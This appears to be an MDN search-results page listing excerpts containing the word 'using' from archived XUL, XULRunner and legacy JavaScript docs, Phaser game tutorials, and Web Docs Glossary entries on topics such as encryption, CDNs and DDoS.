Rule Compilation - Archive of obsolete content
however, rebuilding the template (using the builder.rebuild method) will recompile the query and rules and reapply the template again.
... this means that you can change the rules using dom methods, rebuild the template, and get different results.
Static Content - Archive of obsolete content
this becomes useful when using multiple rules and we'll see some examples of this later.
...so, if you're using menulists with templates and the data isn't displaying properly when the data hasn't loaded, try using a static menupopup.
XML Assignments - Archive of obsolete content
xpath provides syntax to retrieve this using the built-in string-length method.
...note that while the query expression uses the root node (or reference node) as the xpath context, the expressions for the assign element are evaluated using each result node as the context.
XML Templates - Archive of obsolete content
using inline xml it's also possible to embed the xml data directly within the xul document if desired.
... instead of using a url for the datasources attribute, you can use an anchor reference to refer to a node within the same document.
Custom toolbar button - Archive of obsolete content
if your language uses accents or other non-latin characters, set your text editor to save files using the utf-8 encoding.
...however, you might see messages that are unhelpful or confusing, or that come from other parts of the application.
Accesskey display rules - Archive of obsolete content
note that using '&' in label text is bad way.
...for this issue, we recommend the following format if you use .properties: <command-name>.label=cancel <command-name>.accesskey=c note that apis of nsipromptservice are using the bad way.
Adding Buttons - Archive of obsolete content
you can also specify the image in a stylesheet using the list-style-image property.
...you can switch the disabled state of the button using javascript.
Adding Properties to XBL-defined Elements - Archive of obsolete content
that way, all you need is to get a reference to the element (using document.getelementbyid or a similar function) and then get or set the additional properties and call the methods on it.
... </implementation> </binding> fields each field is defined using the field element.
Box Model Details - Archive of obsolete content
layout examples using spacers example 3 : source view <hbox> <button label="one"/> <spacer style="width: 5px"/> <button label="two"/> </hbox> here, a spacer is used as a separator between the two buttons, by setting an explicit width of 5 pixels.
... you could also set margins using the css margin property.
Creating Dialogs - Archive of obsolete content
in a script used by the dialog, we can then refer to the argument using the window's arguments property.
...the following values may be used, seperated by commas: accept - an ok button cancel - a cancel button help - a help button disclosure - a disclosure button, which is used for showing more information you can set code to execute when the buttons are pressed using the ondialogaccept, ondialogcancel, ondialoghelp and ondialogdisclosure attributes.
Custom Tree Views - Archive of obsolete content
creating a custom view so far, we have only been using the built-in content tree view.
... note that the view object is also available for trees using the built-in content view.
Features of a Window - Archive of obsolete content
gecko 1.9.2 note starting in gecko 1.9.2 (firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature.
...you should also consider that a user might be using a different theme or locale.
Groupboxes - Archive of obsolete content
however, there are several differences between groupboxes and regular boxes: the groupbox can be labeled using the caption element.
... the groupbox is displayed in a special way—usually with a beveled border and a caption, although you can change the appearance using css.
Input Controls - Archive of obsolete content
looking for a guide to using input controls and forms on the web?
... « previousnext » looking for a guide to using input controls and forms on the web?
Introduction - Archive of obsolete content
most applications need to be developed using features of a specific platform making building cross-platform software time-consuming and costly.
...this is done using a feature of xul called an overlay, which allows the ui provided from one source, in this case, the firefox browser, to be merged together with the ui from the extension.
More Event Handlers - Archive of obsolete content
in the attribute form of the event handler, the event object is an implied argument to the script code which can be referred to using the name 'event'.
...var element = event.target; var elementx = event.clientx - element.boxobject.x; var elementy = event.clienty - element.boxobject.y; xul elements have a box object that can be retrieved using the boxobject property.
More Tree Features - Archive of obsolete content
note also that the user cannot hide the primary column using the drop down to the right of the columns.
...you can set a minimum or maximum width of a column using the minwidth or maxwidth attributes.
Open and Save Dialogs - Archive of obsolete content
you can set a number a features of the dialog by using the interface.
...(returnok will be returned when the user entered the name of a new file.) you should check the return value and then get the file object from the file picker using the file property.
Persistent Data - Archive of obsolete content
you might use unusual values if you adjust attributes using a script.
... find files example so far : source view next, we'll look at using style sheets with xul files.
Property Files - Archive of obsolete content
var strbundle = document.getelementbyid("strings"); var nofilesfound=strbundle.getstring("notfoundalert"); alert(nofilesfound); this example first gets a reference to the bundle using its id then, it looks up the string 'notfoundalert' in the property file.
...although the word order is not the same in all the languages, by using getformattedstring() the specification of the order can be put out the property files.
Stack Positioning - Archive of obsolete content
when using these attributes to set width or height, both attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set.
...--> </hbox> </stack> in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
XPCOM Examples - Archive of obsolete content
« previousnext » this section provides some examples of using xpcom along with some additional interfaces.
...this is accomplished by using the window mediator component.
XUL Tutorial - Archive of obsolete content
introduction introduction xul structure the chrome url manifest files simple elements creating a window adding buttons adding labels and images input controls numeric controls list controls progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more eve...
...lates rdf datasources advanced rules persistent data skins and locales adding style sheets styling a tree modifying the default skin creating a skin skinning xul files by hand localization property files bindings introduction to xbl anonymous content xbl attribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable content using css and xbl xbl example specialized window types features of a window creating dialogs open and save dialogs creating a wizard more wizards overlays cross package overlays installation creating an installer install scripts additional install features this xul tutorial was originally created by neil deakin.
XUL Accesskey FAQ and Policies - Archive of obsolete content
on macintosh, accesskeys are available only in html not in xul, and they are activated using ctrl+letter instead of alt.
...an accesskey can be added to an html or xul form control or label by using the accesskey attribute.
XUL Changes for Firefox 1.5 - Archive of obsolete content
for more information see using firefox 1.5 caching.
...it can be set either to one of the buttons of the <dialog> binding (using their names); or to none - in which case no button is set to be the default.
XUL and RDF - Archive of obsolete content
the first section of the document describes the motivation and reasoning behind using rdf as the foundation of xul.
... this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
caption - Archive of obsolete content
it may contain either a text label, using the label attribute, or child elements for a more complex caption.
... none the text will be not be cropped using an ellipsis.
checkbox - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
iframe - Archive of obsolete content
the window for the primary content can be retrieved more conveniently using window.content.
... chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri.
key - Archive of obsolete content
ArchiveMozillaXULkey
for the shortcut defined using the key element to work, you must specify a command attribute (or an oncommand handler) on the key element.
...using it with an anchor tag (an <a> link) will have no effect.
notification - Archive of obsolete content
for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
notificationbox - Archive of obsolete content
keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect.
...if immediate is false, the notifications are removed using a slide transition.
panel - Archive of obsolete content
ArchiveMozillaXULpanel
typically, it will be attached to a button using the button's type attribute so that when the button is pressed, the panel will be displayed.
... a panel may also be opened via a script using the openpopup method.
preference - Archive of obsolete content
you can connect a user interface element such as a checkbox to a preference element using the user interface element's preference attribute.
...using it with an anchor tag (an <a> link) will have no effect.
stack - Archive of obsolete content
ArchiveMozillaXULstack
when using these attributes to set width or height, both attributes for the given axis must be explicitly set, eg, if setting width, both "left" and "right" must be set.
... in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
using it with an anchor tag (an <a> link) will have no effect.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
tooltip - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
... to have a popup appear relative to another element yet still offset by some number of pixels, determine the actual screen position of the element using the boxobject.screenx and boxobject.screeny properties of the element, and use those as the x and y arguments offset by the desired values.
treecell - Archive of obsolete content
you can set the text for the cell using the label attribute.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.1.en-us.linux-i686.tar.gz.
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.4.en-us.linux-i686.tar.gz.
XULRunner 1.9.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.1.19.en-us.linux-i686.tar.bz2.
XULRunner 1.9.2 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-3.6.26.en-us.linux-i686.tar.bz2.
XULRunner 1.9 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.0.17.en-us.linux-i686.tar.bz2.
Building XULRunner - Archive of obsolete content
xulrunner is built using basically the same process as firefox or other applications.
...instead a xulrunner build is a just special build made from the firefox/mozilla tree, using the same tag as a firefox build.
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
for the purposes of this article i'm using dave townsend's mccoy as an example.
...chrome will be packaged automatically by the build system, so you also need to specify which files get put into which packages by using jar manifests.
Dialogs in XULRunner - Archive of obsolete content
newer releases will allow using preferences to switch to a xul emulation filepicker, if you want to.
... the xul filepickers are xpcom components and must be instantiated before using, like this: function dofileopen() { /* see: http://developer.mozilla.org/en/docs/xul_tutorial:open_and_save_dialogs */ var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "open file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); var res = fp.show(); if (res == nsifilepicker.returnok) { var thefile = fp.file; alert(thefile.leafname); // --- do something with the file here --- } } xul does not currently support any other common dialogs.
Make your xulrunner app match the system locale - Archive of obsolete content
this article is going to assume a lot of knowledge of xpcom and will be written for someone using python, but the ideas should be adaptable.
...rom xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps_cls.getservice(components.interfaces.nsiprefservice) branch = ps.getbranch("general.useragent.") branch.setcharpref("locale", lang) i also set the language environment variable to match the system locale so that python's gettext functionality will work (it pulls straight from language instead of using setlocale): os.environ["language"] = lang ...
XULRunner tips - Archive of obsolete content
when using xulrunner 1.9 or greater, you can create your own alias in your chrome manifest add a "skin" line: skin communicator classic/1.0 skin/communicator/ add a skin folder named "communicator" and add a single css file named "communicator.css" with this content: @import url("chrome://global/skin"); dom inspector to add dom inspector 2.0.* to your xulrunner 1.9.0.* appli...
... pref("signon.remembersignons", true); pref("signon.expiremasterpassword", false); pref("signon.signonfilename", "signons.txt"); you also need to get an instance of the login manager service, which internally initializes the system: components.classes["@mozilla.org/login-manager;1"].getservice(components.interfaces.nsiloginmanager); using firefox to run xulrunner applications firefox 3 and up contain the xulrunner runtime.
2006-10-27 - Archive of obsolete content
later that day alex able to successful complete his firefox 2 build by using masaki'swork around that he had posted.
...during his build he receives an error which he has tried to find a solution by using google, but has not been successful.
2006-11-17 - Archive of obsolete content
november 11th: bryan wellander is trying to build mozilla 1.7.13 using yellowdog linux 4.1.
...in the latter case, you may want to edit the gtk-config script: /usr/bin/gtk-config configure: error: test for gtk failed bryan is asking for help as he is confused and has no idea what is causing the build process to fail.
2006-11-10 - Archive of obsolete content
harry is looking for help with create thread in javascript using nsithread.
... he wants to know how to create new threads using javascript for background download operations.
2006-09-29 - Archive of obsolete content
discussions discussion on how the firefox 1.5.0.7 dom generates xhtml inline elements using wordpress.
... discussion on how to determine whether there is pending layout changes or reflows when using a popup.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content prevents from restoring values for the persistent attributes.
... neil notes that the format of localstore has changed from previous versions and that "persist" is not functioning properly using the new format.
Monitoring plugins - Archive of obsolete content
this component then reports the plugin runtime using the observer service to anyone registered to receive the notifications.
... usage to make use of the new component you must register to receive its runtime notifications using the observer service.
NPN_MemFree - Archive of obsolete content
syntax #include <npapi.h> void npn_memfree (void* ptr); parameters the function has the following parameters: ptr block of memory previously allocated using npn_memalloc.
... description npn_memfree deallocates a block of memory that was allocated using npn_memalloc only.
Syndicating content with RSS - Archive of obsolete content
this article provides a simple guide to using rss to syndicate web content.
...when this is the case, the html web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run ex...
...plode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
TCP/IP Security - Archive of obsolete content
although using tls may require modifying some applications, tls is a well-tested protocol that has several implementations that have been added to many applications, so it is a relatively low-risk option compared to adding protection at the application layer.
... this is accomplished by encrypting data using a cryptographic algorithm and a secret key—a value known only to the two parties exchanging data.
Scratchpad - Archive of obsolete content
the featured video tutorial shows a case of using scratchpad with a page run by a local web server.
...then choose the way you want the code to run using the buttons along the top, using the execute menu, or using the context menu.
References - Archive of obsolete content
<- previous section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
... what are the advantages of using web standards?
-ms-filter - Archive of obsolete content
endcolorstr the end color, supports both opaque colors (#rrggbb) and colors with alpha opacity using the #aarrggbb notation.
... startcolorstr the end color, supports both opaque colors (#rrggbb) and colors with alpha opacity using the #aarrggbb notation.
E4X for templating - Archive of obsolete content
></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, while it is convenient to store such e4x in separate file templates (to be eval()d at a later time, taking into account security considerations, such as escaping with the above), e4x content using such functions can also be easily serialized inline (and then perhaps converted to the dom) as needed: var list = <>{_if(elems.length(), function () <> <markup/> <markup/> </>)}</>.toxmlstring(); iterating functions such as the following foreach (which can work with arrays, objects, or e4x objects) are quite convenient in iterating over complex structures such as e4x would not no...
... ret += item; } else if (typeof item === 'string') { ret += new xml(item); } else { var ser = (new xmlserializer()).serializetostring(item); ret += new xml(ser); } }); return ret; } example: var fruits = <fruits> <item>pear</item> <item>banana</item> <item>grapes</item> </fruits>; alert( // using a javascript 1.8 expression closure <output> {sort(fruits.*, function (a, b) a.text() > b.text() /* text() call may not be necessary */ )} </output>.toxmlstring() ); /* <output> <item>banana</item> <item>grapes</item> <item>pear</item> </output> */ the above utility also works if the input is an htmlcollection, an array of strings, an array of dom objects, or an array of e4x objects ...
Accessing XML children - Archive of obsolete content
you can remove a child node by using the delete command: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the .
...important it is your responsibility to determine whether you have an xml list or a single element when using the .
Descendants and Filters - Archive of obsolete content
you can access nodes at any depth using the ..
... operator, or by using the descendants property.
Expression closures - Archive of obsolete content
for future-facing usages, consider using arrow functions.
... examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using this notation with some of the array functions from javascript 1.6: elems.some(function(elem) elem.type == 'text'); ...
Legacy generator function - Archive of obsolete content
for future-facing usages, consider using function*.
... you can also define functions using the function constructor with functionbody and at least one yield expression, and a legacy generator function expression.
ActiveXObject - Archive of obsolete content
once an object is created, you refer to it in code using the object variable you defined.
... in the following example, you access properties and methods of the new object using the object variable excelsheet and other excel objects, including the application object and the activesheet.cells collection.
GetObject - Archive of obsolete content
once an object is activated, you reference it in code using the object variable you defined.
... in the preceding example, you access properties and methods of the new object using the object variable myobject.
@set - Archive of obsolete content
variables created using @set are generally used in conditional compilation statements, but can be used anywhere in javascript code.
...nan can be checked for using the @if statement: @if (@newvar != @newvar) ...
New in JavaScript 1.2 - Archive of obsolete content
--> new features in javascript 1.2 new objects you can create objects using literal notation (inspired by dictionary literal syntax from python 1.x).
... arrays can now be created using literal notation (inspired by list literal syntax from python 1.x).
New in JavaScript 1.7 - Archive of obsolete content
using javascript 1.7 in order to use some of the new features of javascript 1.7, you need to specify that you wish to use javascript 1.7.
... in html or xul code, use: <script type="application/javascript;version=1.7"></script> when using the javascript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names.
Object.prototype.watch() - Archive of obsolete content
in addition, using watchpoints has a serious negative impact on performance, which is especially true when used on global objects, such as window.
... examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's pr...
String.prototype.quote() - Archive of obsolete content
try to avoid using it.
... examples using quote in the table below the quote() method replaces any special characters and wraps the strings in double-quotes.
for each...in - Archive of obsolete content
consider using for...of instead.
... examples using for each...in warning: never use a loop like this on arrays.
Packages - Archive of obsolete content
try to avoid using it.
...you can automatically access it without using a constructor or calling a method.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
to share the joy, i herein present a look into just one piece of the redesign, and how i accomplished certain effects using simple html and some css.
... i hope that our little cruise through this aspect of the redesign has gotten you hooked on the idea of using simple markup and css to create interesting effects, if you weren't already.
Writing JavaScript for XHTML - Archive of obsolete content
e4x is a new method of using and manipulating xml in javascript.
....0.9 sends with its requests: accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 further reading you will find several useful articles in the developer wiki: xml in mozilla dom xml introduction xml extras dom 2 methods you will need are: dom:document.createelementns dom:document.getelementsbytagnamens see also properly using css and javascript in xhtml documents ...
Mozilla XForms Specials - Archive of obsolete content
limitations repeat using attributes the specifications mentions "creating repeating structures via attributes", this is partially supported.
...instead of using digest('abc', 'sha-1') explicitly use the third parameter (the results are equal): digest('abc', 'sha-1', 'base64') (limitation tracked in bug 477857) extensions enumerating instances the standardized nsixformsmodelelement does not allow one to enumerate over all possible instances, but only to retrieve instances by their name.
XForms Styling - Archive of obsolete content
triggers use appearance="minimal" to be able to style buttons portability the mozilla xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css.
...experimenting with these can give you some easier way of styling the contents than just using the default.
XForms Input Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special inputmode - not supported for this control incremental - supported.
...characteristics used when the instance node is of type xsd:boolean or a type derived from it analogous widgets are <xhtml:input type="checkbox"/> and <xul:checkbox/> the corresponding label can be displayed before or after the checkbox by using the labelposition attribute.
XForms Upload Element - Archive of obsolete content
the xforms author can set the filter by using the mediatype attribute directly on the upload element or by placing a mediatype element (see the spec) as a direct child of the upload element.
... accesskey - used to specify the keyboard shortcut for focusing this control.
Describing microformats in JavaScript - Archive of obsolete content
microformats are described in javascript by using a standardized structure format that has several standard members that describe the object.
... see also using microformats, parsing microformats in javascript ...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
summary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some web sites.
...the most reliable fix is to add the anchor element to the selectors, like this: a:hover {color: red;} a.nav:hover {color: red;} in an attempt to avoid causing problems for legacy documents, browsers based on mozilla 1.0 and later (netscape 7+) include code that causes bare pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode.
XQuery - Archive of obsolete content
notes for developers wishing to access xquery in their own extensions at present, the extension works simply by using liveconnect to work with berkeley db xml's java api (and via a java wrapper class which circumvents liveconnect's current inability to handle some types of java exceptions properly).
... however, the extension demonstrates a technique which does not depend on using xpcom, while still giving full privileges.
Game monetization - Game development
you get the money and they can get creative with using your game to make money.
...in the second case it's like a freelance deal, but you're reusing the code and adding graphics provided by the client, sometimes implementing them as they instruct you.
Square tilemaps implementation: Static maps - Game development
this article covers how to implement static square tilemaps using the canvas api.
...this is the atlas we will be using as an example, which features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
WebRTC data channels - Game development
we have documentation for using webrtc.
... using the p2p library one library you can use is the p2p library.
asm.js - Game development
this subset of javascript is already highly optimized in many javascript engines using fancy just-in-time (jit) compiling techniques.
... using a subset of javascript asm.js is already supported by major web browsers.
Finishing up - Game development
requestanimationframe helps the browser render the game better than the fixed framerate we currently have implemented using setinterval().
...you can check out this series' counterpart, 2d breakout game using phaser or the cyber orb built in phaser tutorial.
Animations and tweens - Game development
the last thing do to is to start the tween right away using start().
... that's the expanded version of the tween definition, but we can also use the shorthand syntax: game.add.tween(brick.scale).to({x:2,y:2}, 500, phaser.easing.elastic.out, true, 100); this tween will double the brick's scale in half a second using elastic easing, will start automatically, and have a delay of 100 miliseconds.
Collision detection - Game development
you would expect to have to write a lot more calculations of your own to implement collision detection when using pure javascript.
... that's the beauty of using the framework — you can leave a lot of boring code to phaser, and focus on the most fun and interesting parts of making a game.
Extra lives - Game development
the former is anchored on its top right edge to align properly with the screen, and the latter is centered, both using anchor.set().
... making our text styling dry as you probably noticed we're using the same styling for all three texts: scoretext, livestext and lifelosttext.
Initialize the framework - Game development
this can be done using html — the phaser framework will generate the required <canvas> element.
...using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function update() {} </script> </body> </html> downloading the pha...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
...when the secondary task is completed, the original task is notified using an agreed-upon mechanism so that it knows the work is done, and that the result, if any, is available.
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
using cdn for those library files is preferable for a number of reasons: serving libraries' static assets over cdn lowers the request burden on an organization's own servers.
...using a cdn saves further configuration for static assets on your own servers.
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
all of the webrtc related protocols are required to encrypt their communications using dtls; this includes sctp, srtp, and stun.
... learn more general knowledge datagram transport layer security on wikipedia specifications rfc 6347: datagram transport layer security version 1.2 datagram transport layer security protocol version 1.3 draft specification related specifications rfc 5763: framework for establishing a secure real-time transport protocol (srtp) security context using dtls rfc 5764: dtls extension to establish keys for the secure real-time transport protocol (srtp) rfc 6083: dtls for stream control transmission protocol (sctp) rfc 8261: datagram transport layer security (dtls) encapsulation of sctp packets rfc 7350: datagram transport layer security (dtls) as transport for session traversal utilities for nat (stun) rfc 7925: tls / dtls profiles for the internet of things ...
Decryption - MDN Web Docs Glossary: Definitions of Web-related terms
decryption is a cryptographic primitive: it transforms a ciphertext message into plaintext using a cryptographic algorithm called a cipher.
... like encryption, decryption in modern ciphers is performed using a specific algorithm and a secret, called the key.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
normally many persons, using many bots, attack high-profile web servers like banks or credit-card payment gateways.
... there are two types of ddos attacks: a network-centric attack (which overloads a service by using up bandwidth) and an application-layer attack (which overloads a service or database with application calls).
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
encryption is a cryptographic primitive: it transforms a plaintext message into a ciphertext using a cryptographic algorithm called a cipher.
... encryption in modern ciphers is performed using a specific algorithm and a secret, called the key.
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
access global variables var foo = "foobar"; foo === window.foo; // returns: true after defining a global variable foo, we can access its value directly from the window object, by using the variable name foo as a property name of the global object window.foo.
...we created a global function called greeting, then invoked it using the window object.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
a css grid is defined using the grid value of the display property; you can define columns and rows on your grid using the grid-template-rows and grid-template-columns properties.
... the grid that you define using these properties is described as an explicit grid.
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
grid areas are created when you place an item using line-based placement or when defining areas using named grid areas.
...i have named these with the grid-area property and then laid them out on the grid using grid-template-areas.
Grid container - MDN Web Docs Glossary: Definitions of Web-related terms
using the value grid or inline-grid on an element turns it into a grid container using css grid layout, and any direct children of this element become grid items.
...the direct children can now lay themselves out on any explicit grid defined using grid-template-columns and grid-template-rows, or on the implicit grid created when an item is placed outside of the explicit grid.
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
resources using the "http" schema are typically transported over unencrypted connections using the http protocol.
... the "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the http protocol, but over a secure tls channel.
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
however, the concept can be a little confusing at first.
...if a variable is declared and initialized after using it, the value will be undefined.
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
...node.js - built using chrome's v8 javascript engine - allows developers to use javascript as a scripting language to automate things on a computer and build fully functional http and web sockets servers.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
below we'll describe how we could implement some of this functionality using mvc.
...your data model is probably contained in some kind of database (be it a traditional server-side database like mysql, or a client-side solution such as indexeddb [en-us].) your app's controlling code is probably written in html/javascript, and your user interface is probably written using html/css/whatever else you like.
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a polyfill could be used to mimic the functionality of an html canvas element on microsoft internet explorer 7 using a silverlight plugin or mimic support for css rem units, or text-shadow, or whatever you want.
...using a polyfill to handle browser-specific implementations is practically non-existent today because modern browsers mostly implement a broad set of apis according to standard semantics.
RTCP (RTP Control Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
this lets control and statistics packets be separated logically and functionally from the media streaming while using the underlying packet delivery layer to transmit the rtcp signals as well as the rtp and media contents.
... rtcp periodically transmits control packets to all of an rtp session's participants, using the same mechanism that is being used to transmit the data packets.
SEO - MDN Web Docs Glossary: Definitions of Web-related terms
seo methods fall into three broad classes: technical tag the content using semantic html.
... copywriting write content using your visitors' vocabulary.
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
in terms of web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques.
... just like keyboard navigation without voiceover, you can navigate through interactive elements using the tab key and the arrow keys: next interactive element: tab previous interactive element: shift + tab next radio button in a same named-group: right or down arrow previous radio button in a same named-group: left or up arrow navigating through the content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h ...
Shadow tree - MDN Web Docs Glossary: Definitions of Web-related terms
the hidden nodes are not directly visible using regular dom functionality, but require the use of a special shadow dom api to access.
... learn more general knowledge using shadow dom technical information element.shadowroot and element.attachshadow() shadowroot <slot> ...
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
these may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as stylus or stylish.
... the style origins are used to determine where to stop rolling back (or backtracking through) the cascade of styles that have been applied to an element when removing styles, such as when using the unset or revert keywords.
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
this is usually contrasted with public-key cryptography, in which keys are generated in pairs and the transformation made by one key can only be reversed using the other key.
...using an inappropriate mode, or using a mode incorrectly, can completely undermine the security provided by the underlying cipher.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
this is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own.
... a special type of worker, called a service worker, can be created which can be left behind by a site—with the user's permission—to run even when the user isn't currently using that site.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors are working to stop using vendor prefixes for experimental features.
... web developers have been using them on production web sites, despite their experimental nature.
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
in simpler terms: lossy compression causes data from the initial file to be lost, possibly causing degradation in quality.
... although there is no obvious difference quality between the two images above, the size of the second image has been significantly reduced, using lossy compression.
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
the user agent string can be accessed with javascript on the client side using the navigator.useragent property.
... learn more general knowledge user agent on wikipedia technical reference navigator.useragent browser detection using the user agent rfc 2616: 14.43: the user-agent header ...
A cool-looking box - Learn web development
